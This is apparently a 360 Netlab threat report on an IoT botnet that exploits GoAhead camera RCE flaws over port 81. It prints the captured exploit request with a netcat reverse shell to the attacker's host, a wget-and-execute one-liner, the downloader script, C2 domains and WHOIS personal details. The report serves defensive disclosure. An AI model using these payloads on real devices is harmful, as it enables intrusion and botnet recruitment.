New Threat Report: A new IoT Botnet is Spreading over HTTP 81 on a Large Scale
<!--kg-card-begin: markdown--><h3 id="overview">Overview</h3>
<p>360 Network Security Research Lab recently discovered a new botnet that is scanning the entire Internet on a large scale. Taking into account the following factors in the botnet, we decided to disclose our findings to the secure community:</p>
<ol>
<li>Very active, we can now see ~ 50k live scanner IPs daily.</li>
<li>Malicious code identified, simple UDP DDoS attacks recorded.</li>
<li>Most security vendors fail to identify the malicious code (7/55 on virustotal)</li>
<li>This botnet borrows partial code such as port scanning module from the Mirai, but it is completely different from mirai in terms of infect chain, C2 communication protocol, attack module and so on. Although the binary names have mirai mentioned it is probably not wise to treat it just as a mirai variant</li>
</ol>
<p>We sort out the botnet discovery process, communication techniques, behavioral characteristics, a brief analysis of the botnet attacks, and in accordance with the timeline to organize the blog as follows:</p>
<ol>
<li>GoAhead and multiple camera RCE vulnerabilities</li>
<li>The attacker exploited the vulnerability</li>
<li>The scan started</li>
<li>From scan to sample</li>
<li>C2 historical changes backtracking</li>
<li>Botnet size from DNS perspective</li>
<li>An observation about a particular scanner 212.232.46.46</li>
<li>IoC</li>
</ol>
<h3 id="goaheadandmultiplecamerarce0dayvulnerabilities">GoAhead and Multiple Camera RCE 0Day Vulnerabilities</h3>
<p>Researcher Pierre Kim (@PierreKimSec) released a vulnerability analysis report on GoAhead and other OEM cameras on 2017-03-08. In terms of equipment manufacturers attribution, the original author pointed out that the equipment OEM manufacturers involved more than 1,250 different camera manufacturers, models; About the number of potential infection equipment, the researcher used Shodan to estimate that more than 185,000 devices have potential problems. The original article links as follows:</p>
<p><a href="https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html">https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html</a></p>
<p>In the original article, the researcher pointed out that GoAhead camera has a number of problems, including:</p>
<ul>
<li>By providing blank loginuse and loginpas to bypass the authentication session and download the device's <code>.ini</code> files</li>
<li>By <code>set_ftp.cgi</code> injection to obtain root privileges, and provide remote root Shell on the device</li>
</ul>
<p>The original author points out that attacker can gain root access on the impacted devices without any device login by utilizing the above two vulnerabilities, and he also provided a PoC.</p>
<h3 id="theattackerexploitedthevulnerability">The Attacker Exploited the Vulnerability</h3>
<p>It only took a little bit more than a month for the attacker to exploit the vulnerability after the original PoC announcement, on 2017-04-16 we have noticed the scan activity.</p>
<p>The payload we captured has the following characteristics:</p>
<ol>
<li>scan port changed from 80 to  <code>81</code></li>
<li>The  <code>syn scan</code> process is borrowed from Mirai</li>
<li>Scan process also verifies the existence of the <code>login.cgi</code> page so the victims can be further screened.</li>
<li>The previously mentioned <code>goahead 0-day</code> 4.vulnerability is used to deliver payload</li>
<li>We have not confirmed but there is reason to suspect that after a successful infection on the device, the exploit blocks the payload delivery channel</li>
</ol>
<h3 id="thescanstarted">The scan started</h3>
<p>We first noticed this event from our real-time port scan monitoring system:</p>
<p><a href="http://scan.netlab.360.com/#/dashboard?tsbeg=1490457600000&amp;tsend=1493049600000&amp;dstport=81&amp;toplistname=srcip&amp;topn=30&amp;sortby=sum">http://scan.netlab.360.com/#/dashboard?tsbeg=1490457600000&amp;tsend=1493049600000&amp;dstport=81&amp;toplistname=srcip&amp;topn=30&amp;sortby=sum</a></p>
<p><img src="__GHOST_URL__/content/images/2017/04/01_port_81_scan_bigbang_since_2017-04-16.png" alt="" loading="lazy"><br>
Figure 1 port 81 scan big jump since 2017-04-16</p>
<p>From the figure we can see, <code>2017-04-16</code> is the day when the scan really was started. Compare 2017-04-15 with one day after, the number of scanning sessions increased to 400% to 700%, the number of unique scanner had 4000% to 6000% increments. On 2017-04-22, the number of unique scan source had passed over <code>57,000</code>，which is a fairly big number.<br>
<img src="__GHOST_URL__/content/images/2017/04/02_detailed_volume_compare.png" alt="" loading="lazy"><br>
Figure 2 detailed volume compare</p>
<h3 id="fromscantosample">From scan to sample</h3>
<h6 id="payload">Payload</h6>
<p>After noticing the scan behavior, we started to look into our various systems. Our honeypot captured the following samples. It worth noting that, although the names of the samples contain the mirai word, the way they work has some major difference, and we think it should be treated as a new threat.</p>
<p>cd20dcacf52cfe2b5c2a8950daf9220d  wificam.sh<br>
428111c22627e1d4ee87705251704422  mirai.arm<br>
9584b6aec418a2af4efac24867a8c7ec  mirai.arm5n<br>
5ebeff1f005804bb8afef91095aac1d9  mirai.arm7<br>
b2b129d84723d0ba2f803a546c8b19ae  mirai.mips<br>
2f6e964b3f63b13831314c28185bb51a  mirai.mpsl</p>
<p>The file information for the samples is as follows:</p>
<ul>
<li>
<p>mirai.arm:   ELF 32-bit LSB  executable, ARM, version 1, statically linked, stripped</p>
</li>
<li>
<p>mirai.arm5n: ELF 32-bit LSB  executable, ARM, version 1, statically linked, stripped</p>
</li>
<li>
<p>mirai.arm7:  ELF 32-bit LSB  executable, ARM, EABI4 version 1 (SYSV), statically  linked, stripped</p>
</li>
<li>
<p>mirai.mips:  ELF 32-bit MSB  executable, MIPS, MIPS-I version 1 (SYSV), statically  linked, stripped</p>
</li>
<li>
<p>mirai.mpsl:  ELF 32-bit LSB  executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped</p>
</li>
<li>
<p>wificam.sh:  ASCII text</p>
</li>
</ul>
<h6 id="thedeliveryofthepayload">The delivery of the payload</h6>
<p>The payload is delivered after a successful port 81 scan and verification process.</p>
<ol>
<li>The exploit, on the basis of the above PoC, injects an order to force the victim device to initiate a nc connection to <code>load.gtpnet.ir:1234</code></li>
<li>Victim downloads and executes the script hxxp: <a href="//ntp.gtpnet.ir/wificam.sh">//ntp.gtpnet.ir/wificam.sh</a>, and then continue to download all the samples named mirai.arm / mirai.arm5n / mirai.arm7 / mirai.mips / mirai.mpsl from hxxp://Ntp.gtpnet.ir</li>
<li>These samples will be further executed and make connection with the control server, and that is the end of the infection phase, and the device is ready to launch attack.</li>
</ol>
<p>The codes are as follow</p>
<ol>
<li>The injections</li>
</ol>
<div>
<pre>
GET login.cgi HTTP/1.1
</pre>
<pre>
GET /set_ftp.cgi?loginuse=admin&loginpas=admin&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=%24%28nc+load.gtpnet.ir+1234+-e+%2Fbin%2Fsh%29 HTTP/1.1
</pre>
<pre>
GET /ftptest.cgi?loginuse=admin&loginpas=admin HTTP/1.1
</pre>
</div>
<p>This payload is contained in the <code>sef_ftp.cgi</code> URI,  which decodes to</p>
<p><code>nc load.gtpnet.ir 1234 -e bin/sh</code></p>
<p>The victim is therefore forced to initiate a nc connection to the attacker's server and downloads wificam.sh</p>
<ol start="2">
<li>wificam.sh downloaded to victim</li>
</ol>
<div>
<pre>
$ nc load.gtpnet.ir 1234`
</pre>
<pre>
busybox nohup sh -c "wget http://ntp.gtpnet.ir/wificam.sh -O /tmp/a.sh ;chmod +x /tmp/a.sh ;/tmp/a.sh" > /dev/null 2>&1 &`
</pre>
</div>
<p>wificam.sh instructs to further download more new sample files</p>
<p><code>$ cat wificam.sh</code></p>
<div>
<pre>
wget hxxp://ntp.gtpnet.ir/mirai.arm -O /tmp/arm.bin
wget hxxp://ntp.gtpnet.ir/mirai.arm5n -O /tmp/arm5.bin
wget hxxp://ntp.gtpnet.ir/mirai.arm7 -O /tmp/arm7.bin
wget hxxp://ntp.gtpnet.ir/mirai.mips -O /tmp/mips.bin
wget hxxp://ntp.gtpnet.ir/mirai.mpsl -O /tmp/mpsl.bin
</pre>
<pre>
chmod +x /tmp/arm.bin
chmod +x /tmp/arm5.bin
chmod +x /tmp/arm7.bin
chmod +x /tmp/mips.bin
chmod +x /tmp/mpsl.bin
</pre>
<pre>
killall *.bin
killall arm
killall arm5
killall arm7
killall mips
killall mpsl
killall hal
</pre>
<pre>
/tmp/arm.bin
/tmp/arm5.bin
/tmp/arm7.bin
/tmp/mips.bin
/tmp/mpsl.bin
rm -rf /tmp/*.bin
</pre>
</div>
<h6 id="datapoints">Data points</h6>
<p>Our different monitoring systems all successfully picked up this activity</p>
<p><img src="__GHOST_URL__/content/images/2017/04/03_2016-04-16_030000_spike_from_scanmon_at_global_size.png" alt="" loading="lazy"><br>
Our Scanmon indicates that the spike first seen is around 2017-04-16 03:00:00.</p>
<p><img src="__GHOST_URL__/content/images/2017/04/04_spike_from_dns_at_china_size.png" alt="" loading="lazy"><br>
The viewpoint from our pDNS system, the first C2 resolve spike occurred around 2017-04-16 03:00:00</p>
<p><img src="__GHOST_URL__/content/images/2017/04/05_spike_from_honeypot_at_serveral_site.png" alt="" loading="lazy"><br>
From our honeypots, the samples came in also around 2017-04-16 03:00:00 (excluding one specific source 212.232.46.46, which we will discuss later).</p>
<h3 id="sampleanalysis">Sample analysis</h3>
<p>Reverse engineering the sample is more time-consuming and is still a working in progress, we may release further analysis later on. At this stage, we can discuss a little bit about the samples' network behaviors:</p>
<ol>
<li>Sample vs C2 communcations</li>
<li>Sample vs a simple UDP DDoS attack</li>
<li>Sample vs mirai</li>
<li>Sample vs IoT</li>
</ol>
<h5 id="samplevsc2communcations">Sample vs C2 communcations</h5>
<p>The samples will communicate with load.gtpnet.ir/ntp.gtpnet.ir both in the infection phase and in the attack phase.</p>
<h5 id="samplevsasimpleudpddosattack">Sample vs a simple UDP DDoS attack</h5>
<p>The sample contains DDoS attack module. We <strong>observed</strong> the sample in the sandbox launched a DDoS attack against <strong>185.63.190.95</strong> around <strong>2017-04-23 21:45:00</strong><br>
, it is worth noting that this attack was also detected by our <strong>DDoSmon.net</strong> platform<br>
<a href="https://ddosmon.net/explore/185.63.190.95">https://ddosmon.net/explore/185.63.190.95</a></p>
<p><img src="__GHOST_URL__/content/images/2017/04/07_ddos_againt_185.63.190.95.png" alt="" loading="lazy"></p>
<p>Further analysis of the UDP attack:</p>
<ul>
<li>From DDoSMon , the attack was mainly targeted the victim on its port UDP 53/123/656, the size of the package are mainly 125/139</li>
<li>From the Pcap analysis of the sandbox, the attack goes to UDP ports 53/123, and the packet sizes match the DDosMon.net data</li>
</ul>
<p>In addition, from the sandbox Pcap, we can see the attack packet uses real IP address, also the payload is populated with the SSDP (UDP 1900) data.</p>
<p><img src="__GHOST_URL__/content/images/2017/04/20_simple_udp_53_ddos_from_sandbox_pcap.png" alt="" loading="lazy"></p>
<p>Simple UDP 53 DDoS with a SSDP1900 padding</p>
<p><img src="__GHOST_URL__/content/images/2017/04/20_simple_udp_123_ddos_from_sandbox_pcap.png" alt="" loading="lazy"></p>
<p>Simple UDP 123 DDoS with a SSDP1900 padding</p>
<h5 id="samplevsmirai">Sample vs mirai</h5>
<p>Overall, we think this is a new family, not a variant ot mirai family.</p>
<p>The difference between these samples and mirai includes:</p>
<ul>
<li>Infection phase: no more brute-force on port 23/2323 port. Instead a port 81 GoAhead RCE vulnerability exploit</li>
<li>C2 communication protocol: completely different from mirai</li>
<li>Attack module: completely different from mirai; Mirai does not attack on UDP port 53/123/656. and the unique Mirai GRE / STOMP attack is no where to be seen in these samples</li>
</ul>
<p>The sample also have something in common with mirai:</p>
<p>* Infection phase: the use of some sort of unique (but well known in the security community) syn scan to speed up the process of port scanning. However, today this technique is no longer a mirai unique feature<br>
  * File name: the word mirai in file names<br>
  * Code reuse: partial mirai code borrowed</p>
<p><img src="__GHOST_URL__/content/images/2017/04/11_reuse_mirai_source_code.png" alt="" loading="lazy"></p>
<h5 id="samplevsiot">Sample vs IoT</h5>
<p>IoT devices are the target of this threat, although there are  1200+ potential kinds of equipment. We successfully used our DNS data to pinpointed major victims.</p>
<p>We have developed a machine leaning based tool we called d2v that can be handy to line up associated domain names. In this case, D2v helps us find following domains names associate to ntp.gtpnet.ir when the spike occurred:</p>
<div>
<pre>
s3.vstarcam.com
s2.eye4.cn
ntp.gtpnet.ir
api.vanelife.com
load.gtpnet.ir
ntp2.eye4.cn
push.eye4.cn
push.eyecloud.so
ntp.eye4.cn
m2m.vanelife.com`
</pre>
</div>
<p>These domains' website titles are as follows:<br>
<img src="__GHOST_URL__/content/images/2017/04/12_link_D2V_domains_to_IoT_keywords.png" alt="" loading="lazy"></p>
<h3 id="c2historicalchangesbacktracking">C2 historical changes backtracking</h3>
<h5 id="domaindnshistoryrecordanalysis">Domain DNS History Record Analysis</h5>
<p>The DNS historical records of the two domain is as follows</p>
<p><img src="__GHOST_URL__/content/images/2017/04/13_C2_DNS_history-1.png" alt="" loading="lazy"><br>
As we can see:</p>
<ol>
<li>load.gtpnet.ir only uses one ip 185.45.192.168, while<br>
  2. ntp.gtpnet.ir IP changes a few times, and<br>
  3. ntp.gtpnet.ir seems to have some service instability, which was also observed from our sandbox</li>
</ol>
<p>Domain ntp.gtpnet.ir 's IP instability may be explained by the following fact(s):</p>
<p>* We can see from the reverse engineering, the former domain only responsible for delivering the initial downloader, so the load is relatively light; while the latter domain is responsible not only for delivering wificam.sh and five elf samples, but also bear the responsibility for communication with all the bot, so the load is much more heavier than the former<br>
  * The whole botnet is quite big, the server might have to talk to tens of thousands of bot at the same time.</p>
<h5 id="domainregistrationanalysis">Domain Registration Analysis</h5>
<p>Here is the domain's registration information :</p>
<div>
<pre>
domain:		gtpnet.ir
ascii:		gtpnet.ir
remarks:	(Domain Holder) javad fooladdadi
remarks:	(Domain Holder Address) Imarat hashtom, apartemanhaye emarat hashtom, golbahar, khorasan razavi, IR
holder-c:	jf280-irnic
admin-c:	jf280-irnic
tech-c:		mk3389-irnic
nserver:	etta.ns.cloudflare.com
nserver:	dom.ns.cloudflare.com
last-updated:	2017-04-19
expire-date:	<b>2018-04-06</b>
source:		IRNIC # Filtered
<p>nic-hdl:	jf280-irnic<br>
person:		javad fooladdadi<br>
org:		personal<br>
e-mail:		<b><a href="mailto:ademaiasantos@gmail.com">ademaiasantos@gmail.com</a></b><br>
address:	Imarat hashtom, apartemanhaye emarat hashtom, golbahar, khorasan razavi, IR<br>
phone:		+989155408348<br>
fax-no:		+989155408348<br>
source:		IRNIC # Filtered</p>
<p>nic-hdl:	mk3389-irnic<br>
person:		Morteza Khayati<br>
e-mail:		<b><a href="mailto:morteza.khayati1@gmail.com">morteza.khayati1@gmail.com</a></b><br>
source:		IRNIC # Filtered</p>
</pre>
</div>
The domain’s expiry date is 2018-04-06, we can safely assume the domain’s registration date is 2017-04-06, which happened after the PoC and before the scanning spike. So it is pretty clear, this domain is setup just for this botnet.
<h3 id="botnetsizefromdnsperspective">Botnet Size from DNS perspective</h3>
<p>Util now, based on the dns queries, the number of bots we see is 43,621 (the global number might be much higher), we only have DNS visibility in China, so our dns view is limited to the Chinese mainland. The specific geographical distribution is as follows:<br>
<img src="__GHOST_URL__/content/images/2017/04/10_botnet_measurement_dns_china_perspective-1.png" alt="" loading="lazy"></p>
<p>Daily active scanner number in mainland China varies between 2,700 and 9,500, as follows:</p>
<p><img src="__GHOST_URL__/content/images/2017/04/06_daily_active_botnet_from_dns_perspective.png" alt="" loading="lazy"></p>
<h3 id="anobservationaboutaparticularcanner2122324646">An observation about a Particular canner 212.232.46.46</h3>
<p>Among all the bots hitting our honeypot, 212.232.46.46 somehow stands out, it was the first scanner hit our honeypot using this particular vulnerability , and after 5 quiet hours, all the massive scan started from various sources.</p>
<p><img src="__GHOST_URL__/content/images/2017/04/14_a_special_scanner.png" alt="" loading="lazy"></p>
<p>We are not sure why, but this might be something worthing looking.</p>
<p><img src="__GHOST_URL__/content/images/2017/04/14_the_special_scanner_history.png" alt="" loading="lazy"></p>
<h3 id="ioc">IoC</h3>
<p>Samples</p>
<div>
<pre>
cd20dcacf52cfe2b5c2a8950daf9220d  wificam.sh
428111c22627e1d4ee87705251704422  mirai.arm
9584b6aec418a2af4efac24867a8c7ec  mirai.arm5n
5ebeff1f005804bb8afef91095aac1d9  mirai.arm7
b2b129d84723d0ba2f803a546c8b19ae  mirai.mips
2f6e964b3f63b13831314c28185bb51a  mirai.mpsl
</pre>
</div>
<p>C2 Servers</p>
<div>
<pre>
ntp.gtpnet.ir
load.gtpnet.ir
</pre>
</div><!--kg-card-end: markdown-->
Overview


360 Network Security Research Lab recently discovered a new botnet that is scanning the entire Internet on a large scale. Taking into account the following factors in the botnet, we decided to disclose our findings to the secure community:


 1. Very active, we can now see ~ 50k live scanner IPs daily.
 2. Malicious code identified, simple UDP DDoS attacks recorded.
 3. Most security vendors fail to identify the malicious code (7/55 on virustotal)
 4. This botnet borrows partial code such as port scanning module from the Mirai, but it is completely different from mirai in terms of infect chain, C2 communication protocol, attack module and so on. Although the binary names have mirai mentioned it is probably not wise to treat it just as a mirai variant


We sort out the botnet discovery process, communication techniques, behavioral characteristics, a brief analysis of the botnet attacks, and in accordance with the timeline to organize the blog as follows:


 1. GoAhead and multiple camera RCE vulnerabilities
 2. The attacker exploited the vulnerability
 3. The scan started
 4. From scan to sample
 5. C2 historical changes backtracking
 6. Botnet size from DNS perspective
 7. An observation about a particular scanner 212.232.46.46
 8. IoC



GoAhead and Multiple Camera RCE 0Day Vulnerabilities


Researcher Pierre Kim (@PierreKimSec) released a vulnerability analysis report on GoAhead and other OEM cameras on 2017-03-08. In terms of equipment manufacturers attribution, the original author pointed out that the equipment OEM manufacturers involved more than 1,250 different camera manufacturers, models; About the number of potential infection equipment, the researcher used Shodan to estimate that more than 185,000 devices have potential problems. The original article links as follows:


https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html


In the original article, the researcher pointed out that GoAhead camera has a number of problems, including:


 * By providing blank loginuse and loginpas to bypass the authentication session and download the device's .ini files
 * By set_ftp.cgi injection to obtain root privileges, and provide remote root Shell on the device


The original author points out that attacker can gain root access on the impacted devices without any device login by utilizing the above two vulnerabilities, and he also provided a PoC.



The Attacker Exploited the Vulnerability


It only took a little bit more than a month for the attacker to exploit the vulnerability after the original PoC announcement, on 2017-04-16 we have noticed the scan activity.


The payload we captured has the following characteristics:


 1. scan port changed from 80 to  81
 2. The syn scan process is borrowed from Mirai
 3. Scan process also verifies the existence of the login.cgi page so the victims can be further screened.
 4. The previously mentioned goahead 0-day 4.vulnerability is used to deliver payload
 5. We have not confirmed but there is reason to suspect that after a successful infection on the device, the exploit blocks the payload delivery channel



The scan started


We first noticed this event from our real-time port scan monitoring system:


http://scan.netlab.360.com/#/dashboard?tsbeg=1490457600000&tsend=1493049600000&dstport=81&toplistname=srcip&topn=30&sortby=sum




Figure 1 port 81 scan big jump since 2017-04-16


From the figure we can see, 2017-04-16 is the day when the scan really was started. Compare 2017-04-15 with one day after, the number of scanning sessions increased to 400% to 700%, the number of unique scanner had 4000% to 6000% increments. On 2017-04-22, the number of unique scan source had passed over 57,000，which is a fairly big number.



Figure 2 detailed volume compare



From scan to sample


Payload


After noticing the scan behavior, we started to look into our various systems. Our honeypot captured the following samples. It worth noting that, although the names of the samples contain the mirai word, the way they work has some major difference, and we think it should be treated as a new threat.


cd20dcacf52cfe2b5c2a8950daf9220d wificam.sh

428111c22627e1d4ee87705251704422 mirai.arm

9584b6aec418a2af4efac24867a8c7ec mirai.arm5n

5ebeff1f005804bb8afef91095aac1d9 mirai.arm7

b2b129d84723d0ba2f803a546c8b19ae mirai.mips

2f6e964b3f63b13831314c28185bb51a mirai.mpsl


The file information for the samples is as follows:


 * 
   
   
   mirai.arm: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped
   

 * 
   
   
   mirai.arm5n: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped
   

 * 
   
   
   mirai.arm7: ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
   

 * 
   
   
   mirai.mips: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
   

 * 
   
   
   mirai.mpsl: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
   

 * 
   
   
   wificam.sh: ASCII text
   


The delivery of the payload


The payload is delivered after a successful port 81 scan and verification process.


 1. The exploit, on the basis of the above PoC, injects an order to force the victim device to initiate a nc connection to load.gtpnet.ir:1234
 2. Victim downloads and executes the script hxxp: //ntp.gtpnet.ir/wificam.sh, and then continue to download all the samples named mirai.arm / mirai.arm5n / mirai.arm7 / mirai.mips / mirai.mpsl from hxxp://Ntp.gtpnet.ir
 3. These samples will be further executed and make connection with the control server, and that is the end of the infection phase, and the device is ready to launch attack.


The codes are as follow


 1. The injections




GET login.cgi HTTP/1.1




GET /set_ftp.cgi?loginuse=admin&loginpas=admin&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=%24%28nc+load.gtpnet.ir+1234+-e+%2Fbin%2Fsh%29 HTTP/1.1




GET /ftptest.cgi?loginuse=admin&loginpas=admin HTTP/1.1




This payload is contained in the sef_ftp.cgi URI, which decodes to


nc load.gtpnet.ir 1234 -e bin/sh


The victim is therefore forced to initiate a nc connection to the attacker's server and downloads wificam.sh


 2. wificam.sh downloaded to victim




$ nc load.gtpnet.ir 1234`




busybox nohup sh -c "wget http://ntp.gtpnet.ir/wificam.sh -O /tmp/a.sh ;chmod +x /tmp/a.sh ;/tmp/a.sh" > /dev/null 2>&1 &`




wificam.sh instructs to further download more new sample files


$ cat wificam.sh




wget hxxp://ntp.gtpnet.ir/mirai.arm -O /tmp/arm.bin
wget hxxp://ntp.gtpnet.ir/mirai.arm5n -O /tmp/arm5.bin
wget hxxp://ntp.gtpnet.ir/mirai.arm7 -O /tmp/arm7.bin
wget hxxp://ntp.gtpnet.ir/mirai.mips -O /tmp/mips.bin
wget hxxp://ntp.gtpnet.ir/mirai.mpsl -O /tmp/mpsl.bin




chmod +x /tmp/arm.bin
chmod +x /tmp/arm5.bin
chmod +x /tmp/arm7.bin
chmod +x /tmp/mips.bin
chmod +x /tmp/mpsl.bin




killall *.bin
killall arm
killall arm5
killall arm7
killall mips
killall mpsl
killall hal




/tmp/arm.bin
/tmp/arm5.bin
/tmp/arm7.bin
/tmp/mips.bin
/tmp/mpsl.bin
rm -rf /tmp/*.bin




Data points


Our different monitoring systems all successfully picked up this activity




Our Scanmon indicates that the spike first seen is around 2017-04-16 03:00:00.




The viewpoint from our pDNS system, the first C2 resolve spike occurred around 2017-04-16 03:00:00




From our honeypots, the samples came in also around 2017-04-16 03:00:00 (excluding one specific source 212.232.46.46, which we will discuss later).



Sample analysis


Reverse engineering the sample is more time-consuming and is still a working in progress, we may release further analysis later on. At this stage, we can discuss a little bit about the samples' network behaviors:


 1. Sample vs C2 communcations
 2. Sample vs a simple UDP DDoS attack
 3. Sample vs mirai
 4. Sample vs IoT


Sample vs C2 communcations


The samples will communicate with load.gtpnet.ir/ntp.gtpnet.ir both in the infection phase and in the attack phase.


Sample vs a simple UDP DDoS attack


The sample contains DDoS attack module. We observed the sample in the sandbox launched a DDoS attack against 185.63.190.95 around 2017-04-23 21:45:00

, it is worth noting that this attack was also detected by our DDoSmon.net platform

https://ddosmon.net/explore/185.63.190.95





Further analysis of the UDP attack:


 * From DDoSMon , the attack was mainly targeted the victim on its port UDP 53/123/656, the size of the package are mainly 125/139
 * From the Pcap analysis of the sandbox, the attack goes to UDP ports 53/123, and the packet sizes match the DDosMon.net data


In addition, from the sandbox Pcap, we can see the attack packet uses real IP address, also the payload is populated with the SSDP (UDP 1900) data.





Simple UDP 53 DDoS with a SSDP1900 padding





Simple UDP 123 DDoS with a SSDP1900 padding


Sample vs mirai


Overall, we think this is a new family, not a variant ot mirai family.


The difference between these samples and mirai includes:


 * Infection phase: no more brute-force on port 23/2323 port. Instead a port 81 GoAhead RCE vulnerability exploit
 * C2 communication protocol: completely different from mirai
 * Attack module: completely different from mirai; Mirai does not attack on UDP port 53/123/656. and the unique Mirai GRE / STOMP attack is no where to be seen in these samples


The sample also have something in common with mirai:


* Infection phase: the use of some sort of unique (but well known in the security community) syn scan to speed up the process of port scanning. However, today this technique is no longer a mirai unique feature

  * File name: the word mirai in file names

  * Code reuse: partial mirai code borrowed





Sample vs IoT


IoT devices are the target of this threat, although there are 1200+ potential kinds of equipment. We successfully used our DNS data to pinpointed major victims.


We have developed a machine leaning based tool we called d2v that can be handy to line up associated domain names. In this case, D2v helps us find following domains names associate to ntp.gtpnet.ir when the spike occurred:




s3.vstarcam.com
s2.eye4.cn
ntp.gtpnet.ir
api.vanelife.com
load.gtpnet.ir
ntp2.eye4.cn
push.eye4.cn
push.eyecloud.so
ntp.eye4.cn
m2m.vanelife.com`




These domains' website titles are as follows:





C2 historical changes backtracking


Domain DNS History Record Analysis


The DNS historical records of the two domain is as follows




As we can see:


 1. load.gtpnet.ir only uses one ip 185.45.192.168, while
    
      2. ntp.gtpnet.ir IP changes a few times, and
    
      3. ntp.gtpnet.ir seems to have some service instability, which was also observed from our sandbox


Domain ntp.gtpnet.ir 's IP instability may be explained by the following fact(s):


* We can see from the reverse engineering, the former domain only responsible for delivering the initial downloader, so the load is relatively light; while the latter domain is responsible not only for delivering wificam.sh and five elf samples, but also bear the responsibility for communication with all the bot, so the load is much more heavier than the former

  * The whole botnet is quite big, the server might have to talk to tens of thousands of bot at the same time.


Domain Registration Analysis


Here is the domain's registration information :




domain:		gtpnet.ir
ascii:		gtpnet.ir
remarks:	(Domain Holder) javad fooladdadi
remarks:	(Domain Holder Address) Imarat hashtom, apartemanhaye emarat hashtom, golbahar, khorasan razavi, IR
holder-c:	jf280-irnic
admin-c:	jf280-irnic
tech-c:		mk3389-irnic
nserver:	etta.ns.cloudflare.com
nserver:	dom.ns.cloudflare.com
last-updated:	2017-04-19
expire-date:	2018-04-06
source:		IRNIC # Filtered


nic-hdl:	jf280-irnic

person:		javad fooladdadi

org:		personal

e-mail:		ademaiasantos@gmail.com

address:	Imarat hashtom, apartemanhaye emarat hashtom, golbahar, khorasan razavi, IR

phone:		+989155408348

fax-no:		+989155408348

source:		IRNIC # Filtered


nic-hdl:	mk3389-irnic

person:		Morteza Khayati

e-mail:		morteza.khayati1@gmail.com

source:		IRNIC # Filtered




The domain’s expiry date is 2018-04-06, we can safely assume the domain’s registration date is 2017-04-06, which happened after the PoC and before the scanning spike. So it is pretty clear, this domain is setup just for this botnet.



Botnet Size from DNS perspective


Util now, based on the dns queries, the number of bots we see is 43,621 (the global number might be much higher), we only have DNS visibility in China, so our dns view is limited to the Chinese mainland. The specific geographical distribution is as follows:




Daily active scanner number in mainland China varies between 2,700 and 9,500, as follows:






An observation about a Particular canner 212.232.46.46


Among all the bots hitting our honeypot, 212.232.46.46 somehow stands out, it was the first scanner hit our honeypot using this particular vulnerability , and after 5 quiet hours, all the massive scan started from various sources.





We are not sure why, but this might be something worthing looking.






IoC


Samples




cd20dcacf52cfe2b5c2a8950daf9220d  wificam.sh
428111c22627e1d4ee87705251704422  mirai.arm
9584b6aec418a2af4efac24867a8c7ec  mirai.arm5n
5ebeff1f005804bb8afef91095aac1d9  mirai.arm7
b2b129d84723d0ba2f803a546c8b19ae  mirai.mips
2f6e964b3f63b13831314c28185bb51a  mirai.mpsl




C2 Servers




ntp.gtpnet.ir
load.gtpnet.ir


{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"###Overview\n360 Network Security Research Lab recently discovered a new botnet that is scanning the entire Internet on a large scale. Taking into account the following factors in the botnet, we decided to disclose our findings to the secure community:\n\n1. Very active, we can now see ~ 50k live scanner IPs daily.\n2. Malicious code identified, simple UDP DDoS attacks recorded.\n3. Most security vendors fail to identify the malicious code (7/55 on virustotal)\n4. This botnet borrows partial code such as port scanning module from the Mirai, but it is completely different from mirai in terms of infect chain, C2 communication protocol, attack module and so on. Although the binary names have mirai mentioned it is probably not wise to treat it just as a mirai variant\n\nWe sort out the botnet discovery process, communication techniques, behavioral characteristics, a brief analysis of the botnet attacks, and in accordance with the timeline to organize the blog as follows:\n\n1. GoAhead and multiple camera RCE vulnerabilities\n2. The attacker exploited the vulnerability\n3. The scan started\n4. From scan to sample\n5. C2 historical changes backtracking\n6. Botnet size from DNS perspective \n7. An observation about a particular scanner 212.232.46.46\n8. IoC\n\n###GoAhead and Multiple Camera RCE 0Day Vulnerabilities\nResearcher Pierre Kim (@PierreKimSec) released a vulnerability analysis report on GoAhead and other OEM cameras on 2017-03-08. In terms of equipment manufacturers attribution, the original author pointed out that the equipment OEM manufacturers involved more than 1,250 different camera manufacturers, models; About the number of potential infection equipment, the researcher used Shodan to estimate that more than 185,000 devices have potential problems. The original article links as follows:\n\nhttps://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html\n\nIn the original article, the researcher pointed out that GoAhead camera has a number of problems, including:\n\n * By providing blank loginuse and loginpas to bypass the authentication session and download the device's `.ini` files\n * By `set_ftp.cgi` injection to obtain root privileges, and provide remote root Shell on the device \n\nThe original author points out that attacker can gain root access on the impacted devices without any device login by utilizing the above two vulnerabilities, and he also provided a PoC.\n\n###The Attacker Exploited the Vulnerability\nIt only took a little bit more than a month for the attacker to exploit the vulnerability after the original PoC announcement, on 2017-04-16 we have noticed the scan activity. \n\nThe payload we captured has the following characteristics:\n\n 1. scan port changed from 80 to  `81`\n 2. The  `syn scan` process is borrowed from Mirai\n 3. Scan process also verifies the existence of the `login.cgi` page so the victims can be further screened.\n 4. The previously mentioned `goahead 0-day` 4.vulnerability is used to deliver payload\n 5. We have not confirmed but there is reason to suspect that after a successful infection on the device, the exploit blocks the payload delivery channel\n\n###The scan started\n\nWe first noticed this event from our real-time port scan monitoring system:\n\nhttp://scan.netlab.360.com/#/dashboard?tsbeg=1490457600000&tsend=1493049600000&dstport=81&toplistname=srcip&topn=30&sortby=sum \n\n![](__GHOST_URL__/content/images/2017/04/01_port_81_scan_bigbang_since_2017-04-16.png)\nFigure 1 port 81 scan big jump since 2017-04-16\n\nFrom the figure we can see, `2017-04-16` is the day when the scan really was started. Compare 2017-04-15 with one day after, the number of scanning sessions increased to 400% to 700%, the number of unique scanner had 4000% to 6000% increments. On 